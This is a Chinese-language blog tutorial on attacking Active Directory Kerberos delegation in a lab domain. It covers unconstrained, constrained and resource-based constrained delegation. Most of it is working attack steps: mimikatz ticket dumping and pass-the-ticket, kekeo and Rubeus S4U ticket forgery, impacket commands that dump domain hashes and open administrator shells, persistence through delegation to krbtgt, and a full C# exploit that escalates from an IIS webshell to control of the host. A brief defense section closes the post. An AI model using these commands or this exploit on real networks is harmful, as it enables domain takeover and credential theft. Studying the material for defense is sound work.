委派

委派概述:

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

委派的方式:

非约束委派和约束委派,基于资源的约束委派。

在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的computers组内的计算机,也被称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

委派的前提:

被委派的用户不能被设置为不能被委派属性。
image

查找非约束委派的主机或服务账号(域控默认配置非约束委派属性):

1.利用powersploit中的powerview

Import-Module .\PowerView.ps1;

查询非约束委派的主机
Get-NetComputer -Unconstrained -Domain hiro.com

查询非约束委派的服务账号
Get-NetUser -Unconstrained -Domain hiro.com | select name

2.利用ADFind

查找域中配置非约束委派的用户
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找约束委派的主机或服务账号:

1.利用empire中的powerview

Import-Module .\powerview.ps1;

查询约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

查询约束委派的账号:
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

2.利用ADFind

查找域中配置约束委派用户:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


非约束委派

大致流程:

user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA
这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。
image

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

利用:

域:hiro.com
域控:WIN-KONG IP:192.168.228.10 域管:administrator
受委派机器:WIN-E6FR4HVBPCI

现在将WIN-E6FR4HVBPCI这个机器账号设置为非约束委派。
image
通过命令行打开adsiedit.msc查看WIN-E6FR4HVBPCI机器属性,可以看到:

当被设置为非约束委派的时候,它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。
image

用域管访问WIN-E6FR4HVBPCI机器
image

然后在WIN-E6FR4HVBPCI上以管理员权限运行mimikatz

privilege::debug

导出票据

sekurlsa::tickets /export
image

此时拿到了管理员的票据,用mimikatz将票据注入内存中,然后访问域控

导入票据

kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi

查看票据

kerberos::list
image

非约束委派+spooler打印机

费约束委派常规利用感觉还是比较鸡肋,想得到域内权限必须要管理员与配置了委派的机器建立连接,所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接。
开始域控为server2012,后面网上有的大佬说可能是版本的问题,后面升级到了server2016还是报错,这种情况复现不了了,有兴趣的可以自己试一试。也可以参考这篇文章
image


约束委派

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)S4U2proxy可以以用户的名义请求其它服务的ST2约束委派就是限制了S4U2proxy扩展的范围

其中:

S4U2Self用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。
通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换有时用户会通过其他协议(例如NTLM或什至基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy拿用户的可转发的ST1请求用于访问服务器的ST2
该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

大致流程:

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问

如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。
image

由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT所以只能模拟用户访问特定的服务,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2

利用:

域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
受委派机器:WIN-RRI9T9SN85D@192.168.228.15 域用户:win7

首先在域控上将域用户win7注册成为SPN服务账号

setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7
image

查看是否注册成功

setspn -L win7
image

然后将win7用户设置约束委派的属性,为访问域控的cifs(访问文件夹
image
通过命令行打开adsiedit.msc查看win7用户属性,可以看到:

当被设置为约束委派的时候,它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。
image
并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段,里面包含了允许委派的服务
image

当知道win7这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT

拥有明文密码

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

拥有账户的Hash

tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx
image
image

PS:如果既不知道明文也不知道Hash,如果有了服务用户登录的主机权限,可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现

从内存中导出所有票据

sekurlsa::tickets /export
image

然后通过win7的TGT伪造s4u请求以administrator身份请求访问WIN-KONG cifs的ST

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
image
image

用mimikatz将票据导入内存中

kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
image

访问域控:
image


约束委派请求过程:

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

AS-REQ

以用户win7请求TGT
image

AS-REP

AS返回用户win7的TGT,也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi
image
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

TGS-REQ

win7用户用上一步得到的TGT,用上S4U2Self协议,以administrator的名义向TGS申请一张访问自身服务并且可转发的ST1票据。
image

TGS-REP

TGS返回administrator的ST1票据给win7
image

TGS-REQ

win7用户拿到了administrator的ST1票据后,win7带上这张可转发的访问自身服务的票据
,用上S4U2Proxy协议,以administrator用户的名义请求一张访问WIN-KONG的CIFS服务的ST2票据
image

TGS-REP

TGS返回以administrator用户访问WIN-KONG的CIFS服务的票据,也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
image

通过流程可以看出,第一步生成的可转发的ST1只是为了请求第二步以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据


利用约束委派权限维持

通过约束委派生成黄金票据

TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。

域控通过powershell添加win7到krbtgt的约束委派:

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser win7 (win7为设置为约束委派的服务账号)

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }
image

利用impacket套件攻击

伪造administrator的TGT

python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.

导入票据

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

导出域内哈希

python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com


基于资源的约束委派

传统的委派,在设置的过程中其实都是需要SeEnableDelegation特权,而这个特权需要域管理员才能设置。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。

约束委派和基于资源的约束委派的区别:

前者:通过服务A委派到服务B,实际是在服务A上增加TRUSTED_FOR_DELEGATION字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONmsDS-AllowedToDelegateTo约束委派)字段来达到委派的目的。

后者:通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段,从而允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候,服务A的两个字段是没有赋值的当这两个字段没有被赋值的时候,通过S4U2Self得到的ST服务票证是不可被转发而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证但是在基于资源的约束委派过程中不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证

因此,如果能够在服务B上配置允许服务A的基于资源的约束委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST1票据去请求访问服务B的可转发的ST2服务票据,就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

条件

利用基于资源的约束委派(RBCD)需要2个条件:

1.拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)

2.一个任意服务账户或者一个机器账户(每一个域用户默认可以添加10个机器账户,可以通过LDAP中的MAQ属性查看)

利用:

域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域内机器:DESKTOP-P34E60A,win10把这台机器加入到域内

通过ADFind查找将域机器拉入域的用户的SID:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

image

查看S-1-5-21-3105699010-1460039537-418241315-1118是谁:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn

image

假如现在已经拿到了把DESKTOP-P34E60A这台机器加入域的用户win10的权限

使用whoami /all查询当前用户的sid

image

同样可以通过用户的sid查看哪些域机器是通过自己加入到域内的:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

image

如果一个机器账号没有mS-DS-CreatorSID,那么他是被域管拉入到域内的

利用powermad添加机器账户:(https://github.com/Kevin-Robertson/Powermad)

Import-Module .\Powermad.ps1

以win10用户创建一个域机器名为win10system,密码为win10

New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

image

验证是否创建成功:

net group "domain computers" /do

image

查询添加机器的SID:

1.域控上查询:

dsquery computer | dsget computer -dn -sid

image

或者powershell运行Get-ADComputer win10system

image

2.域机器上查询:(使用empire下的powerview)

Import-Module .\powerview.ps1

Get-DomainComputer -Identity win10system

image

win10用户设置win10system到DESKTOP-P34E60A的基于资源的约束委派(使用empire下的powerview)

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image

检查是否配置成功

Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity

image

攻击完成清除基于资源的约束委派配置:

Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-P34E60A机器属性,可以看到:

当被设置为基于资源的约束委派的时候,它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

image

现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了

1.使用rubues获取票据

Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

image

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

image

image

2.使用impacket套件获取

python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10

利用基于资源的约束委派进行权限维持

跟约束委派利用相似,可以配置win10system到krbtgt的基于资源的约束委派,只要有了win10system的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT

在域控上执行:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

image

1.使用rubeus伪造administrator请求TGT

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt

image

klist查看缓存票证

image

访问域控

image

2.同样的也能用impacket套件

python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

基于资源的约束委派(烂番茄)

基于资源的约束委派通过修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段达到委派的目的,默认把这台域机器拉入域的域用户有这个权限,还有谁有?

因为evil这台机器通过07用户拉入域内,通过AdFind遍历evil的ACL,通过write筛选对其具有写权限的用户。

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”

可以看到不只是07这个用户,SYSTEM权限的用户也对这个对象具有写的权限。

攻击面:通过iis等以服务权限起的域用户拿到当前域机器最高权限。

(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。)

这样会导致一个非常严重的问题:不止于iis,所有低权限服务(例如network service这类型的本机服务)都是以机器账户身份去请求的域内资源。利用这一特性可以直接使其连接到域控的ldap设置基于当前机器的基于资源的约束委派,造成当前域机器沦陷。

演示

前面已知:

  1. 域内用户默认可以创建十台域机器。
  2. 低权限服务(例如network service这类型的本机服务)都是以机器账户身份请求域内资源。
  3. 机器账号对其本身有WriteProperty权限。

当前环境:

  1. 在域内域机器web2008上存在iis服务,攻击者拿到webshell后发现当前权限为iis,但是此用户依然是域用户,可以创建机器账号;
  2. iis以机器账户请求域内资源,对其机器本身有WriteProperty权限,可以设置自身的msDS-AllowedToActOnBehalfOfOtherIdentity字段来设置基于资源的约束委派。

所以可以利用web2008创建域机器(此处为evilpc),并通过writelproperty设置evilpc到其的基于资源的约束委派。

通过查看LDAP确定是否设置成功

python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab

EXP

ATEAM的demo:https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/

using System;

using System.Text;

using System.Security.AccessControl;

using System.Security.Principal;

using System.Net;

namespace Addnew_MachineAccount

{

  class Program

  {

    static void Main(string[] args)

    {

      String DomainController = "192.168.129.130";

      String Domain = "redteam.lab";

      //String username = args[0]; //域用户名

      //String password = args[1]; //域用户密码

      String new_MachineAccount = "evilpc"; //添加的机器账户

      String new_MachineAccount_password = "123456"; //机器账户密码

      String victimcomputer = "web2008"; //需要进行提权的机器

      String victimcomputer_ldap_path = "LDAP://CN=web2008,CN=Computers,DC=redteam,DC=lab";

      String machine_account = new_MachineAccount;

      String sam_account = machine_account + "$";

      //machine_account="evilpc";

      //sam_account="evilpc$";

      String distinguished_name = "";

      String[] DC_array = null;

      distinguished_name = "CN=" + machine_account + ",CN=Computers";

      //distinguished_name=CN=evilpc,CN=computers;

      DC_array = Domain.Split('.');

      foreach (String DC in DC_array)

      { //DC=redteam

        //DC=lab

          distinguished_name += ",DC=" + DC;

          //distinguished_name=CN=evilpc,CN=computers,DC=redtram,DC=lab

      }

      Console.WriteLine("[+] Elevate permissions on " + victimcomputer); //[+] Elevate permissions on web2008

      Console.WriteLine("[+] Domain = " + Domain); //[+] Domain = redteam.lab

      Console.WriteLine("[+] Domain Controller = " + DomainController); //[+] Domain Controller = 192.168.129.130

      [//Console.WriteLine](//Console.WriteLine)("[+] New SAMAccountName = " + sam_account);

      [//Console.WriteLine](//Console.WriteLine)("[+] Distinguished Name = " + distinguished_name);

      //连接ldap

      System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);

      //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录

      System.DirectoryServices.Protocols.LdapConnection connection = null;

      //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);

      connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);

      //域控不允许在未加密的链接中创建计算机用户"。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢?答案是:ldaps需要配置证书才能使用,在默认环境下就不能正常工作,而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。

      connection.SessionOptions.Sealing = true;

      connection.SessionOptions.Signing = true;

      connection.Bind();

      var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {

        new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),

        new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),

        new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),

        new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),

        new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),

        new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)

      });

      try

      {

        //添加机器账户

        connection.SendRequest(request);

        Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");

      }

      catch (System.Exception ex)

      {

        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");

        Console.WriteLine("[-] Exception: " + ex.Message);

        return;

      }

      // 获取新计算机对象的SID

      var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);

      var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);

      SecurityIdentifier sid = null;

      foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)

      {

        try

        {

          sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);

          Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);

        }

        catch

        {

          Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");

          return;

        }

      }

      //设置资源约束委派

      System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.lab");

      myldapConnection.Path = victimcomputer_ldap_path;

      myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;

      System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);

      //通过ldap找计算机

      search.Filter = "(CN=" + victimcomputer + ")";

      string[] requiredProperties = new string[] { "samaccountname" };

      foreach (String property in requiredProperties)

        search.PropertiesToLoad.Add(property);

      System.DirectoryServices.SearchResult result = null;

      try

      {

        result = search.FindOne();

      }

      catch (System.Exception ex)

      {

        Console.WriteLine(ex.Message + "Exiting...");

        return;

      }

      if (result != null)

      {

        System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();

        String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";

        System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);

        byte[] descriptor_buffer = new byte[sd.BinaryLength];

        sd.GetBinaryForm(descriptor_buffer, 0);

        // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中

        entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;

        try

        {

          entryToUpdate.CommitChanges();//提交更改

          Console.WriteLine("[+] Exploit successfully!");

        }

        catch (System.Exception ex)

        {

          Console.WriteLine(ex.Message);

          Console.WriteLine("[!] \nFailed...");

          return;

        }

      }

    }

}

}

防御:

1.高权限账号设置禁止委派属性

image

2.微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012

Protected Users 组中的帐户只能使用 Kerberos 协议进行身份验证,拒绝 NTLM、Digest 和 CredSSP。

Kerberos 拒绝使用 DES 和 RC4 加密类型进行预身份验证 ,域必须配置为支持 AES 或更高版本。

受保护用户的帐户不能通过 Kerberos 约束或无约束委派进行委派。

image

3.kerberos预认证不使用DES或RC4等加密算法(尽量使用AES256)同样能够预防Kerberoast攻击

参考

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/

posted @ 2021-05-29 15:21  cAr7n  阅读(1299)  评论(1编辑  收藏  举报